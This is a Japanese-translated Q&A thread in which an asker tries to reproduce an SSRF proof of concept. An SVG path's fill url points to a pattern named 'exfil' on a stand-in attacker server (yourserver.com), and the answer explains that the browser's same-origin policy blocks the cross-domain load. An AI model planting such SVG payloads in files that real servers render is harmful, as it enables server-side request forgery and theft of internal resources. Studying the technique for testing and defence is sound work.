web-dev-qa-db-ja.com

絶対パスでfill = "url(...)"を使用するSSRF PoC

パス要素でurlプロパティを使用して内部画像を取得できるSSRFの脆弱性を説明する興味深いレポート this を読みました。ただし、この脆弱性は画像をレンダリングするサーバーに依存している可能性が最も高いですが、単純なHTMLドキュメントを介してこれを実現する方法を再現できていません。

私が理解していることから、攻撃者の制御下で外部svg要素を呼び出すためにパス要素が使用されました:

_<path fill="url(https://yourserver.com/poc.svg#exfil)" stroke="#a1a1a1"
_

ここで、_poc.svg_には以下が含まれます:

_<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<defs>
    <pattern id="exfil" width="512" height="512" patternUnits="userSpaceOnUse">
        <image xlink:href="<redacted>" x="0" y="0" height="256px" width="256px"/>
    </pattern>
</defs>
</svg>
_

_<redacted>_の部分が脆弱なサーバーの画像を指していると思います。多くのsvg要素は同じドキュメント内の他の要素を参照するため、その種類の識別子(id)を必要とするため、_<pattern id="exfil">_は重要だと思います。ただし、「fill」パラメータを使用してこのパターンを複製することはできませんでした。

これは基本的に私がやっていることです:

_<html>
    <body>
        <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
            <path fill="url(otherpoc.svg#exfil)" d="M150 0 L75 200 L225 200 Z" />
        </svg>
    </body>

</html>
_

およびotherpoc.svg:

_<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<defs>
    <pattern id="exfil" width="512" height="512" patternUnits="userSpaceOnUse">
        <image xlink:href="google.png" x="0" y="0" height="256px" width="256px"/>
    </pattern>
</defs>
</svg>
_

これで正しく動作します。ローカルリソースとしてgoogle.pngファイルがある場合、意図したとおりにフェッチされます。ただし、絶対パス(<path fill="url(http://server.com/otherpoc.svg#exfil)"など)は機能しないようです(URLは解決されません)。これをテストする場合は、このタイプのURL解決を可能にするFirefoxまたは他のブラウジングを使用することを忘れないでください。

何か助けていただければ幸いです。

1
Robert Smith

影響を受けるサーバーが異なる動作の異なる(名前のない)SVGパーサーを使用しているときに、ブラウザーでこの脆弱性を再現しようとしています。

[〜#〜] sop [〜#〜] 違反となるため、ブラウザは<path fill="url(...)" ...>クロスドメインを介してリンクされたパターンのロードを拒否します。異なるドメインでホストされているSVGファイル内の要素の参照が許可されている場合、攻撃者がこれを使用して情報を抽出する可能性があります。

したがって、あなたの例を使用すると、Firefoxは正しく発生します:

Security Error: Content at http://localhost/svgsop.html may not load data from http://server.com/otherpoc.svg.
1
Arminius